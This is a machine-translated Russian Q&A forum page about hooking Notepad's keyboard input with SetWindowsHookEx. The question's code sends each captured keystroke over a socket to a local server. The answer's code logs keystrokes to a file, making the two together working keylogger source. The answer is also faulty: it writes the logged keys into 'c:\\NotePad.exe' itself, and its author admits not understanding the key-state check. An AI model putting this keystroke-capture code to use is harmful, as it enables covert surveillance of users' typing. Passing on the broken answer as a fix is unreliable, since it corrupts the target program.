Попытка подключить Notepad.exe - PullRequest
1 голос
/ 30 декабря 2011

Я пытаюсь подключить Notepad.exe к клавиатуре с помощью SetWindowsHookEx.

Как видите, рабочий поток отправляет свой код ASCII, который является wParam, на указанный сервер.

UINT WINAPI SendToServer(LPVOID lpParam)
{
    CSocket Client;

    Client.Create();

    Client.Connect("localhost", 6677);
    Client.Send(lpParam, 2); // sending its ASICI code to Server

    Client.Close();

    return 0;
}

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    TCHAR szPath[MAX_PATH] = {0,};
    TCHAR* p = nullptr;

    if( nCode >= 0 )
    {
        // bit 31 : 0 => press, 1 => release

        if( !(lParam & 0x80000000) )
        {
            GetModuleFileName(NULL, szPath, MAX_PATH);
            p = strrchr(szPath, '\\');

            if( !_stricmp(p + 1, "Notepad.exe") )
            {
                unsigned ThreadID;
                g_hThread = reinterpret_cast<HANDLE>(_beginthreadex(NULL, 0, SendToServer, &wParam, 0, &ThreadID)); // a new working thread

                return 0; 
            }
        }
    }

    return CallNextHookEx(g_hHook, nCode, wParam, lParam);
}

Проблема в том, что по какой-то причине, связанной с новым рабочим потоком, в Notepad возникает критическая ошибка (если я нажимаю кнопку «игнорировать» несколько раз, она все равно работает.)

Я удалилэта строка ниже,

g_hThread = reinterpret_cast<HANDLE>(_beginthreadex(NULL, 0, SendToServer, &wParam, 0, &ThreadID)); // a new working thread

Тогда с Notepad.exe не возникает никаких ошибок

Любая помощь будет очень признательна.

Заранее спасибо.

1 Ответ

2 голосов
/ 30 декабря 2011

Будет ли это работать для вас ..?Жестко закодированные пути используются только в целях тестирования. Измените путь в соответствии с тем, где находится ваш NotePad.exe

LRESULT  __declspec(dllexport)__stdcall CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
  ofstream fout;
  fout.open("c:\\NotePad.exe",ios::app);

    if (nCode < 0 || nCode != HC_ACTION)
   return CallNextHookEx(hkb, nCode, wParam, lParam);


    if ( (((DWORD)lParam & 0x80000000) == 0) && (HC_ACTION == nCode))
  {
    if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||((wParam>=0x2f ) &&(wParam<=0x100)))
        {
      if(GetAsyncKeyState(wParam) == -32767) //this solve it i got it on google but how ??
            {
        BYTE ks[256];
        GetKeyboardState(ks);

        WORD w;
        UINT scan=0;
        ToAscii(wParam,scan,ks,&w,0);
        fout<<char(w);
            }
        }
    }

     fout.close();

  return CallNextHookEx(hkb, nCode, wParam, lParam);
}
Добро пожаловать на сайт PullRequest, где вы можете задавать вопросы и получать ответы от других членов сообщества.
...